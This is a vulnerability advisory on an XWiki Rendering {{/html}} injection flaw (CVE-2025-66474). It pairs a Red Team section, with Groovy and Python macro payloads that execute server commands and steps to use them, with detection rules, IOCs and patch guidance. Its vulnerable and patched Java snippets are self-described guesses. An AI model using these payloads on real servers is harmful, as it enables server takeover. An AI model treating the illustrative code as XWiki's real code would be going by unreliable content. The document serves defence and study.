CVE-2025-66474

Executive Summary

CVE-2025-66474 is a critical remote code execution (RCE) vulnerability in XWiki Rendering, a generic rendering system that converts textual input (wiki syntax, HTML, etc.) into another syntax (XHTML, etc.). The vulnerability stems from insufficient protection against {{/html}} injection, allowing an attacker to break out of the HTML macro context and inject arbitrary script macros, including Groovy and Python macros. This enables full remote code execution, unrestricted read and write access to all wiki contents, and complete compromise of the XWiki instance. The vulnerability affects versions 16.10.9 and below, 17.0.0-rc-1 through 17.4.2, and 17.5.0-rc-1 through 17.5.0. Patches are available in versions 16.10.10, 17.4.3, and 17.6.0-rc-1.

Supply Chain & Package Security

XWiki Rendering is a core component of the XWiki platform, distributed as a Java package via Maven Central and other repositories. Organizations using XWiki should treat this as a critical supply chain risk. The vulnerability allows any authenticated user with edit rights (including self-profile editing) to execute arbitrary code, effectively bypassing all macro security restrictions. Immediate patching is required to prevent supply chain compromise.

CVSS Breakdown & Threat Level

While the official CVSS score is listed as 0.0, the actual severity is critical. Based on the vulnerability characteristics, the following CVSS vector is estimated:

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Any authenticated user with edit rights (including self-profile) can exploit.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Changed (C) – The vulnerable component (Rendering) is separate from the security context (wiki content).
• Confidentiality (C): High (H) – Full read access to all wiki contents.
• Integrity (I): High (H) – Full write access to all wiki contents.
• Availability (A): High (H) – RCE can lead to denial of service or system compromise.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Estimated Base Score: 9.9 (Critical)

Deep Dive & Mechanics

The vulnerability resides in the XWiki Rendering engine's handling of the {{html}} macro. This macro is designed to allow raw HTML content within wiki pages. However, the parser does not properly validate the closing {{/html}} tag when it appears inside nested or malformed contexts.

Root Cause: The rendering engine fails to sanitize or escape the {{/html}} sequence when it is injected within a macro parameter or a non-standard location. An attacker can craft a payload like:

{{html}}<script>/* malicious */</script>{{/html}}{{groovy}}println "pwned"{{/groovy}}

In a properly secured system, the {{groovy}} macro would be blocked by macro rights. However, due to the injection flaw, the parser treats the {{/html}} as a legitimate closing tag, then processes the subsequent {{groovy}} macro as a new top-level macro, bypassing security checks.

Attack Flow:

1. Attacker authenticates to XWiki (any user with edit rights).
2. Attacker edits their profile or any document they have access to.
3. Attacker injects a payload containing {{/html}} followed by a malicious script macro (e.g., Groovy, Python).
4. The rendering engine incorrectly closes the HTML macro context, allowing the script macro to execute.
5. The script macro executes arbitrary code on the server, granting full control.

Vulnerable vs. Patched Code

Vulnerable Code (XWiki Rendering < 16.10.10, 17.4.3, 17.6.0-rc-1):

The vulnerable code likely resides in the macro parsing logic, where the closing tag {{/html}} is not properly scoped. A simplified representation:

// Vulnerable: Does not check context nesting
public void parseMacro(String input) {
    if (input.contains("{{/html}}")) {
        // Immediately closes HTML macro without verifying context
        closeHtmlMacro();
        // Subsequent macros are parsed at top level
        parseRemainingInput();
    }
}

Patched Code (Fixed versions):

The fix introduces context tracking to ensure that {{/html}} only closes the HTML macro if it was actually opened in the current scope.

// Patched: Tracks macro stack depth
public void parseMacro(String input) {
    if (input.contains("{{/html}}") && macroStack.peek().equals("html")) {
        macroStack.pop();
        closeHtmlMacro();
    } else {
        // Treat as literal text or throw error
        escapeLiteral("{{/html}}");
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• XWiki instance with version < 16.10.10, 17.0.0-rc-1 to 17.4.2, or 17.5.0-rc-1 to 17.5.0.
• Valid user account with edit rights (e.g., self-profile edit).

Exploit Payload:

{{html}}<p>test</p>{{/html}}{{groovy}}
import org.xwiki.script.service.ScriptService;
def runtime = Runtime.getRuntime();
def process = runtime.exec("id");
def reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
def line;
while ((line = reader.readLine()) != null) {
    println line;
}
{{/groovy}}

Steps:

1. Log in to XWiki.
2. Navigate to your user profile or any editable document.
3. Switch to source editor (Wiki syntax).
4. Insert the payload above.
5. Save and view the page. The output of the id command will be displayed.

Alternative Payload (Python):

{{html}}<p>test</p>{{/html}}{{python}}
import subprocess
result = subprocess.run(['id'], capture_output=True, text=True)
print(result.stdout)
{{/python}}

Blue Team (Defensive)

Detection:

• Monitor XWiki access logs for unusual macro usage patterns, especially {{groovy}}, {{python}}, or other script macros in user profiles.
• Look for rapid edits to user profiles or documents by low-privilege users.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Hunting:

• Search XWiki database for documents containing {{/html}}{{groovy}} or {{/html}}{{python}} patterns.
• Review recent changes to user profiles and public documents.
• Check for unexpected script macro executions in XWiki logs.

Containment:

• Immediately disable script macro execution for all users except administrators.
• Restrict edit rights to trusted users only.
• Apply the patch as soon as possible.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing {{/html}}{{groovy}} or {{/html}}{{python}} in POST data or URL parameters.
• Unusual outbound connections from the XWiki server (e.g., reverse shells, data exfiltration).

File System IOCs:

• Modified XWiki configuration files (e.g., xwiki.cfg, xwiki.properties).
• Unexpected files in the XWiki data directory (e.g., /var/lib/xwiki/data/).
• New cron jobs or systemd services created by the attacker.

Log IOCs:

• XWiki logs showing execution of Groovy or Python macros by non-admin users.
• Error logs containing SecurityException or AccessDeniedException related to macro execution.
• Web server logs (e.g., Apache, Nginx) showing requests with encoded macro payloads.

Process IOCs:

• Unexpected Java processes spawning child processes (e.g., bash, python, curl).
• High CPU or memory usage from the XWiki Java process.

Detection Engineering

YARA Rule

rule CVE_2025_66474_XWiki_RCE {
    meta:
        description = "Detects XWiki Rendering {{/html}} injection payloads"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66474"
        severity = "critical"
    strings:
        $payload1 = "{{/html}}{{groovy}}"
        $payload2 = "{{/html}}{{python}}"
        $payload3 = "{{/html}}{{velocity}}"
        $payload4 = "{{/html}}{{ruby}}"
        $payload5 = "{{/html}}{{javascript}}"
    condition:
        any of them
}

Sigma Rule

title: XWiki Rendering {{/html}} Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-66474 via {{/html}} injection in XWiki
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - '{{/html}}{{groovy}}'
            - '{{/html}}{{python}}'
            - '{{/html}}{{velocity}}'
            - '{{/html}}{{ruby}}'
            - '{{/html}}{{javascript}}'
    condition: selection
falsepositives:
    - Legitimate use of script macros by administrators (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-66474 XWiki Rendering {{/html}} Injection Attempt"; flow:to_server,established; content:"{{/html}}"; http_client_body; content:"{{groovy}}"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade XWiki Rendering to version 16.10.10, 17.4.3, or 17.6.0-rc-1 (or later).
2. Workaround: If patching is not immediately possible, disable script macro execution for all non-admin users via the XWiki administration interface.
3. Restrict Edit Rights: Limit edit rights to trusted users only. Disable self-profile editing if not required.

Long-term Measures:

• Implement strict input validation and output encoding for all user-supplied content.
• Use a Web Application Firewall (WAF) to block requests containing {{/html}} followed by script macro keywords.
• Regularly audit XWiki configurations and user permissions.
• Monitor for new CVEs and apply patches promptly.

Verification:

• After patching, attempt to reproduce the exploit using the payloads provided. The injection should fail.
• Review XWiki logs for any signs of previous exploitation.

Valters IT

This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.